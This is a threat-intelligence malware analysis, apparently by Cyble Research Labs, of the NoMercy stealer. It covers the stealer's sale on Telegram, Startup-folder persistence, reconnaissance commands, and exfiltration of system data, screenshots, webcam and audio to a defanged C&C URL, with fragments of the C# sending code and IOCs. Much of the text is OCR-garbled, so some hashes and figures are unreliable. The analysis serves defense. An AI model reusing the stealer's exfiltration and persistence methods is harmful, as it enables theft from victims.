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NOMERCY STEALER ADDING NEW FEATURES
NEW STEALER RAPIDLY EVOLVING INTO CLIPPER MALWARE

New Stealer Rapidly Evolving into Clipper Malware

During a routine threat-hunting exercise, Cyble Research Labs came across a post on Telegram selling an
information stealer malware called “NoMercy stealer.” The malware developer is currently selling the
stealer for 780 Indian rupees or 10 USD, indicating that the stealer is developed primarily for Indian Threat
Actors (TA). The NoMercy stealer developer is also rapidly adding new capabilities.

The stealer is very primitive, and our observations indicate that it is at the initial stages of development.
The NoMercy stealer initially checks for the system’s public IP using hxxp:/api.ipify[.Jorg.

After getting the public IP, the stealer registers itself with the Command-and-Control server (C&C). After
registration, the stealer sends various system information to the C&C server.

The stealer then proceeds to continuously send screenshots, keystrokes, webcam photos, and device
audio to the C&C server. The figure below shows the Telegram post made by the NoMercy developer.
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NoMercy v-1.0.0 has been released. If you want to buy this product, DM me for further
instructions

Price: ¥780 | 510

Cryptocurrency: Monero ONLY

Features:

1) Execute CLI commands
1.1) whoami /all
1.2) arp-a

1.3) ipconfig /all
1.4) net view /all
1.5) net share

1.6) route print
1.7) netstat -nao
1.8) net localgroup
1.9) systeminfo

2) Get running processes
2.1) Get the window title
2.2) Get the process name
2.3) Get the Process ID
2.4) Get the EXE path

3) Get public IP

4) Get private IP

5) Get M.A.C

6) Get HWID

7) Get R.AM (in megabytes)
8) Get G.RU

9) Get the 0S version

10) Get installed anti-virus
11) Get keyboard language
12) Get the current clipboard
13) Get C.PU

Figure 1 — NoMercy Stealer Telegram Post

The Threat Actors (TAs) behind this group are actively working on enhancing the capabilities of the stealer.
During the course of our analysis, we noticed that the TAs had added new features to this stealer, including
clipper and VPN client-stealer capabilities.

The TAs behind NoMercy are selling this new version of the stealer for 20$. The figure shows the post for
NoMercy stealer version v1.1.0.

¥ Major update for NoMercy: v1.7.0
This is a major update. One or more features were added

Changes

> Instead of replacing each new screenshot / webcam image with another one, C2 creates
a new folder called "Screenshots"and then saves each screenshot with an unique ID

> Changed Screenshot and WebCam image format BMP -> PNG

New features:
> VPN client stealer - ProtonVPN, OpenVPN, NordVPN
> Crypto clipper - Stellar, Ethereum, BitCoin, Monero, Ripple and BitCoin Cash

Price for v1.1.0: 810 -> 820
|

NoMercy Stealer v1.1.0 Telegram Post

Technical Analysis




The sha-256 of the information stealer is
9ecc76d4cdad47a93681ddbb67b642c2e1f303ab834160ab94b79b47381e23a65.

This stealer is a 32-bit, console-based C# executable file. The file is a debug version of this stealer project.
Figure 3 shows the basic file information.

File name

m e —a o " \9ecc7od4cdad4729368 1ddbba 7h642c2e 1f303aba34160ab34b 79b 4738 122326 5. 258

File type Entry point ias 55 MIME
PE32 005b7bee

Sections TimeDateStamp Size0fImage

0003 2090-04-19 13:34:30 001bco00

Scan Endianness Mode

Detect It Easy(DiE) LE 32

library JET(w4,0.30319)[-]

linker Microsoft Linker(48.0)[Console32, console]

Figure 3 — Static File Information

The NoMercy stealer has a hardcoded configuration embedded into the source code. The configuration
contains the details such as C&C URL, file name for establishing persistence, version information, etc. The
figure below shows the configuration details.

4 — Hardcoded Stealer Configuration
After initial execution, the information stealer copies itself into the start-up folder of the user’s machine.
This results in the execution of the stealer at the time of the system restart.

The figure below shows the malicious file in the start-up folder named “WindowsKernalDrivers.exe.”
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' l = | C\Users\ s AppData\Roaming\Microsoft\Windows\5tart Menu'\Programs\Startup

File Home Share

EE i m

AppData Roaming Microsoft » Windows Start Menu Programs Start-up
Narme . Date modified Type Size

I WindowsKernelDrivers.exe Application 1,754 KB

Figure 5 — Information Stealer Executable in Start-up folder

After establishing persistence, the stealer generates a unique UID using system artifacts such as the
victim’s public IP and account name. The stealer gets the public IP of the victim from hxxp:/api.ipify[.Jorg
and appends the account name generated using the whoami command. The figure below shows the
method GenerateUID() used to get the UID.

Figure 6 — Function to Generate UID of the Victim System

After generating UID, the stealer registers itself to the C&C server using the UID and stealer’s version
information. The stealer then uses the format for its C&C communications using the method PostUID(). The
TA thus gains information about the victim’s public IP, user account, and stealer version in the below
format:

hxxp://six-clowns-sing-103-119-240-166.local.Jlt/a?uid=[public IP]@[Current Username]&version=NoMercy-
v1.0
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version)

("UID and

Figure 7 — Function to Register Victim to C&C

After sending the victim data to the C&C server, the stealer collects various system information data points
from the victim using cmd.exe. The information is extracted using various commands such as whoami, arp,
ipconfig, etc. The figure below shows all these commands being used by the stealer.

(1

("Collectine C info™) -
("Collecting CLI info");

Figure 8 — System Information Collected using cmd.exe

After getting the internal system information, the stealer queries and extracts additional system information
from the infected system such as public IP, hardware ID, main memory, GPU, MAC address, private IP, OS
version, details of any antivirus software installed, keyboard language, clipboard, running processes and
CPU information.

The figure below shows the code used by the malware to collect additional system information.
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[] array - [12];
- "Collecting other info..."}:

array[8] "PUBLIC IP: " +

array[1] "HWID: ™ +

array[2] "RAM: "+

array[3] "GPU: " +

array[4] "MEDIA ACCESS CONTROL ADDRESS: ™

array[5] "PRIVATE IP: ™ +

array[6] "0S WVERSION: ™ +

array[7] "ANTIVIRUS: " +

array[8] =| "KEYBOARD LANGUAGE: "

array[9] - ('

array[1@] £ "RUNNING PROCESSES:

array[11] =
array;

Figure 9 — Other System Information Extracted by the NoMercy Stealer

After collecting the information, the stealer encodes the stolen data to a base64 string and sends the
information to the C&C server.The stealer calls the PostCLIInfoCNC() and PostOtherlnfoCNC() methodsfor
sending the information to its C&C server, as shown below.

sysinfo cli,

result;

HttphebRequest httplebRequest = (HttphiebRequest)kWebRequest.
{

Program,C2H
"fb?sysinfocli="
sysinfo cli,
"Ruid=",

uid,
"fversion=ver"

HttpliebRequest httpWebRequest = (HttplebRequest)WebReque:
{

Program.C2HTTPURL,
" /b?sysinfoother=",
sysinfa,
“&uid=",
uid,
"fversion=",
Ver
IR
HttpliebResponse httpWebResponse = (HttpkiebResponse)httpWebRequest.GetResponse();
Figure 10 — Methods to Send Data to C&C Server
After sending all the victim’s information to its C&C server, the malware runs three separate threads for

different operations, which are:

1. Send screenshots
2. Send microphone audio
3. Send webcam snapshots




t Window .8.

icrosoft n. All righté reserved.

C:\Users)

; 7654286171> cdad? c2elf3e 166abo4b79b4

The malicious URL resolves to the IP address 193.34.76/.]44, which is highly active and hosts multiple
malicious files. We have observed strains of various information stealers connecting to this IP.

Conclusion

The NoMercy stealer is a very crude and simple information stealer in its initial stages. The TAs behind this
stealer are actively modifying the stealer and adding additional capabilities.

The active infections are not very high in volume but are a good indicator of the trends of the TAs involved.
One such emerging trend is adding clipper capabilities to the malware. Cyble Research Labs continuously
monitors all new and existing malware to keep our readers aware and informed.

MITRE ATT&CK® Techniques

Technique Technique ID Description
Execution T1204 User Execution
Persistence T1547 Boot or Logon AutoStart Execution
Discovery T1087 Account Discovery
T1046 Network Service Discovery
T1012 Query Registry

T1518 Software Discovery

T1082 System Information Discovery

T1016 System Network Configuration

T1033 Discovery System Owner/User Discovery
Collection T1119 Automated Collection

T1115 Clipboard Data

T1056 Input Capture

T1113 Screen Capture

T1125 Video Capture
Command and Control T1071 Application Layer Protocol

Indicators of Compromise (I0OCs)
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https://attack.mitre.org/techniques/T1204/
https://attack.mitre.org/techniques/T1547/
https://attack.mitre.org/techniques/T1087/
https://attack.mitre.org/techniques/T1046/
https://attack.mitre.org/techniques/T1012/
https://attack.mitre.org/techniques/T1518/
https://attack.mitre.org/techniques/T1082/
https://attack.mitre.org/techniques/T1016/
https://attack.mitre.org/techniques/T1033/
https://attack.mitre.org/techniques/T1119/
https://attack.mitre.org/techniques/T1115/
https://attack.mitre.org/techniques/T1056/
https://attack.mitre.org/techniques/T1113/
https://attack.mitre.org/techniques/T1125/
https://attack.mitre.org/techniques/T1071/

Indicators Indicator Description

Type
a101aebd7e97dba97311cde683a64a32 MD5 NoMercy
€010b078904516eeb6c471904d4adc190c6f53fe SHA-1 Stealer
9ecc76d4cdad7a93681ddbb67b642c2e1f303ab834160ab94b79b47381e23a65 SHA-256
hxxp:/Isix-clowns-sing-103-119-240-166.loca[.]it/ URL Command

and Control
193.34.76[.]144 IP Command

and Control
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